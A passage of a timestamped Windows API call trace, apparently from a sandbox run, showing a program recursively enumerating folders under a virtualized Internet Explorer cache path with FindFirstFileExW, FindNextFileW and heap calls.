dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0085.076] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0085.076] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0085.076] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x50f82a50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x50f82a50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x50f82a50, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Users", cAlternateFileName="")) returned 1 [0085.076] lstrcmpW (lpString1="Users", lpString2=".") returned 1 [0085.077] lstrcmpW (lpString1="Users", lpString2="..") returned 1 [0085.077] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd0) returned 0x5d8350 [0085.077] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x136) returned 0x3177638 [0085.077] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d8350 | out: hHeap=0x5b0000) returned 1 [0085.077] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3178aa0 | out: hHeap=0x5b0000) returned 1 [0085.077] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xe0) returned 0x317fee8 [0085.077] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x210) returned 0x3178aa0 [0085.077] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Virtualized\\C\\Users\\*", fInfoLevelId=0x0, lpFindFileData=0x18e3cc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e3cc) returned 0x600590 [0085.077] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0085.077] FindNextFileW (in: hFindFile=0x600590, lpFindFileData=0x18e3cc | out: lpFindFileData=0x18e3cc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x50f82a50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x50f82a50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x50f82a50, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0085.078] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0085.078] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0085.078] FindNextFileW (in: hFindFile=0x600590, lpFindFileData=0x18e3cc | out: lpFindFileData=0x18e3cc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x50f82a50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x50f82a50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x50f82a50, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="5p5NrGJn0jS HALPmcxz", cAlternateFileName="5P5NRG~1")) returned 1 [0085.078] lstrcmpW (lpString1="5p5NrGJn0jS HALPmcxz", lpString2=".") returned 1 [0085.078] lstrcmpW (lpString1="5p5NrGJn0jS HALPmcxz", lpString2="..") returned 1 [0085.078] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x30) returned 0x605470 [0085.078] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xe0) returned 0x317ffd0 [0085.078] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x14e) returned 0x223c068 [0085.078] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x317ffd0 | out: hHeap=0x5b0000) returned 1 [0085.078] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3178aa0 | out: hHeap=0x5b0000) returned 1 [0085.078] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605470 | out: hHeap=0x5b0000) returned 1 [0085.078] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x100) returned 0x68a2e0 [0085.078] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x210) returned 0x3178aa0 [0085.078] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Virtualized\\C\\Users\\5p5NrGJn0jS HALPmcxz\\*", fInfoLevelId=0x0, lpFindFileData=0x18e0dc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e0dc) returned 0x6005d0 [0085.079] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0085.079] FindNextFileW (in: hFindFile=0x6005d0, lpFindFileData=0x18e0dc | out: lpFindFileData=0x18e0dc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x50f82a50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x50f82a50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x50f82a50, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0085.080] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0085.080] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0085.080] FindNextFileW (in: hFindFile=0x6005d0, lpFindFileData=0x18e0dc | out: lpFindFileData=0x18e0dc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x50f82a50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x50f82a50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x50f82a50, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppData", cAlternateFileName="")) returned 1 [0085.080] lstrcmpW (lpString1="AppData", lpString2=".") returned 1 [0085.080] lstrcmpW (lpString1="AppData", lpString2="..") returned 1 [0085.080] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x110) returned 0x68bd50 [0085.080] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3178aa0 | out: hHeap=0x5b0000) returned 1 [0085.080] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x110) returned 0x68be68 [0085.080] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x210) returned 0x3178aa0 [0085.080] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Virtualized\\C\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\*", fInfoLevelId=0x0, lpFindFileData=0x18ddec, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ddec) returned 0x600610 [0085.199] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0085.199] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x50f82a50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x50f82a50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x50f82a50, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0085.199] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0085.199] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0085.199] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x50f82a50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x50f82a50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x50f82a50, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Roaming", cAlternateFileName="")) returned 1 [0085.199] lstrcmpW (lpString1="Roaming", lpString2=".") returned 1 [0085.199] lstrcmpW (lpString1="Roaming", lpString2="..") returned 1 [0085.200] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120) returned 0x3183ed0 [0085.200] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3178aa0 | out: hHeap=0x5b0000) returned 1 [0085.200] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120) returned 0x3178aa0 [0085.200] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x210) returned 0x3178bc8 [0085.200] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Virtualized\\C\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0085.200] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0085.200] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x50f82a50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x50f82a50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x50f82a50, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0085.201] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0085.201] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0085.201] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x50f82a50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x50f82a50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x50f82a50, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 1 [0085.201] lstrcmpW (lpString1="Microsoft", lpString2=".") returned 1 [0085.201] lstrcmpW (lpString1="Microsoft", lpString2="..") returned 1 [0085.201] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x60d150 [0085.201] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x130) returned 0x6695f8 [0085.201] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c6) returned 0x3178de0 [0085.201] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6695f8 | out: hHeap=0x5b0000) returned 1 [0085.201] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3178bc8 | out: hHeap=0x5b0000) returned 1 [0085.201] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d150 | out: hHeap=0x5b0000) returned 1 [0085.201] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x140) returned 0x3177260 [0085.201] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x210) returned 0x3178bc8 [0085.201] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Virtualized\\C\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\*", fInfoLevelId=0x0, lpFindFileData=0x18d80c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18d80c) returned 0x600690 [0085.333] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0085.333] FindNextFileW (in: hFindFile=0x600690, lpFindFileData=0x18d80c | out: lpFindFileData=0x18d80c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x50f82a50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x50f82a50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x50f82a50, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0085.335] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0085.335] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0085.335] FindNextFileW (in: hFindFile=0x600690, lpFindFileData=0x18d80c | out: lpFindFileData=0x18d80c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x50f82a50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x50f82a50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x50f82a50, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows", cAlternateFileName="")) returned 1 [0085.335] lstrcmpW (lpString1="Windows", lpString2=".") returned 1 [0085.335] lstrcmpW (lpString1="Windows", lpString2="..") returned 1 [0085.335] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x140) returned 0x3177780 [0085.335] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1de) returned 0x3178fb0 [0085.335] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3177780 | out: hHeap=0x5b0000) returned 1 [0085.335] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3178bc8 | out: hHeap=0x5b0000) returned 1 [0085.335] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x150) returned 0x223c1c0 [0085.335] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x210) returned 0x3178bc8 [0085.335] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Virtualized\\C\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\*", fInfoLevelId=0x0, lpFindFileData=0x18d51c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18d51c) returned 0x6006d0 [0085.335] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0085.335] FindNextFileW (in: hFindFile=0x6006d0, lpFindFileData=0x18d51c | out: lpFindFileData=0x18d51c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x50f82a50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x50f82a50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x50f82a50, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0085.337] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0085.337] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0085.337] FindNextFileW (in: hFindFile=0x6006d0, lpFindFileData=0x18d51c | out: lpFindFileData=0x18d51c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x50f82a50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x50f82a50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x50f82a50, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PrivacIE", cAlternateFileName="")) returned 1 [0085.338] lstrcmpW (lpString1="PrivacIE", lpString2=".") returned 1 [0085.338] lstrcmpW (lpString1="PrivacIE", lpString2="..") returned 1 [0085.338] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x60d5b0 [0085.338] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x150) returned 0x223c318 [0085.338] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1f6) returned 0x3179198 [0085.338] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x223c318 | out: hHeap=0x5b0000) returned 1 [0085.338] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3178bc8 | out: hHeap=0x5b0000) returned 1 [0085.338] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d5b0 | out: hHeap=0x5b0000) returned 1 [0085.338] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x160) returned 0x2241a88 [0085.338] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x210) returned 0x3178bc8 [0085.338] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Virtualized\\C\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\PrivacIE\\*", fInfoLevelId=0x0, lpFindFileData=0x18d22c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18d22c) returned 0x600710 [0085.338] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0085.338] FindNextFileW (in: hFindFile=0x600710, lpFindFileData=0x18d22c | out: lpFindFileData=0x18d22c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x50f82a50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x50f82a50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x50f82a50, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0085.339] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0085.339] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0085.339] FindNextFileW (in: hFindFile=0x600710, lpFindFileData=0x18d22c | out: lpFindFileData=0x18d22c*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x50f82a50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x50f82a50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x50f82a50, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Low", cAlternateFileName="")) returned 1 [0085.339] lstrcmpW (lpString1="Low", lpString2=".") returned 1 [0085.339] lstrcmpW (lpString1="Low", lpString2="..") returned 1 [0085.339] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x160) returned 0x2241bf0 [0085.339] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3178bc8 | out: hHeap=0x5b0000) returned 1 [0085.339] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x160) returned 0x2241d58 [0085.339] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x210) returned 0x3178bc8 [0085.339] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Virtualized\\C\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\PrivacIE\\Low\\*", fInfoLevelId=0x0, lpFindFileData=0x18cf3c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18cf3c) returned 0x600750 [0085.339] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0085.339] FindNextFileW (in: hFindFile=0x600750, lpFindFileData=0x18cf3c | out: lpFindFileData=0x18cf3c*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x50f82a50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x50f82a50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x50f82a50, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0085.340] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0085.340] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0085.340] FindNextFileW (in: hFindFile=0x600750, lpFindFileData=0x18cf3c | out: lpFindFileData=0x18cf3c*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x50f82a50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x50f82a50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x50f82a50, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0085.340] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x160) returned 0x2241ec0 [0085.340] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20e) returned 0x3179398 [0085.340] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2241ec0 | out: hHeap=0x5b0000) returned 1 [0085.340] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3178bc8 | out: hHeap=0x5b0000) returned 1 [0085.340] FindClose (in: hFindFile=0x600750 | out: hFindFile=0x600750) returned 1 [0085.341] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Virtualized\\C\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\PrivacIE\\Low\\*", fInfoLevelId=0x0, lpFindFileData=0x18cf3c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18cf3c) returned 0x600750 [0085.341] FindNextFileW (in: hFindFile=0x600750, lpFindFileData=0x18cf3c | out: lpFindFileData=0x18cf3c*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x50f82a50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x50f82a50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x50f82a50, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0085.341] FindNextFileW (in: hFindFile=0x600750, lpFindFileData=0x18cf3c | out: lpFindFileData=0x18cf3c*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x50f82a50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x50f82a50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x50f82a50, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0085.341] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3179398 | out: hHeap=0x5b0000) returned 1 [0085.341] FindClose (in: hFindFile=0x600750 | out: hFindFile=0x600750) returned 1 [0085.342] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2241d58 | out: hHeap=0x5b0000) returned 1 [0085.342] FindNextFileW (in: hFindFile=0x600710, lpFindFileData=0x18d22c | out: lpFindFileData=0x18d22c*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x50f82a50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x50f82a50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x50f82a50, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Low", cAlternateFileName="")) returned 0 [0085.342] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x160) returned 0x2241d58 [0085.342] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2241bf0 | out: hHeap=0x5b0000) returned 1 [0085.342] FindClose (in: hFindFile=0x600710 | out: hFindFile=0x600710) returned 1 [0085.342] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Virtualized\\C\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\PrivacIE\\*", fInfoLevelId=0x0, lpFindFileData=0x18d22c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18d22c) returned 0x600710 [0085.342] FindNextFileW (in: hFindFile=0x600710, lpFindFileData=0x18d22c | out: lpFindFileData=0x18d22c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x50f82a50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x50f82a50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x50f82a50, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0085.342] FindNextFileW (in: hFindFile=0x600710, lpFindFileData=0x18d22c | out: lpFindFileData=0x18d22c*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x50f82a50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x50f82a50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x50f82a50, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Low", cAlternateFileName="")) returned 1 [0085.342] FindNextFileW (in: hFindFile=0x600710, lpFindFileData=0x18d22c | out: lpFindFileData=0x18d22c*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x50f82a50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x50f82a50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x50f82a50, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Low", cAlternateFileName="")) returned 0 [0085.342] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2241d58 | out: hHeap=0x5b0000) returned 1 [0085.342] FindClose (in: hFindFile=0x600710 | out: hFindFile=0x600710) returned 1 [0085.343] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2241a88 | out: hHeap=0x5b0000) returned 1 [0085.343] FindNextFileW (in: hFindFile=0x6006d0, lpFindFileData=0x18d51c | out: lpFindFileData=0x18d51c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x50f82a50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x50f82a50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x50f82a50, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, 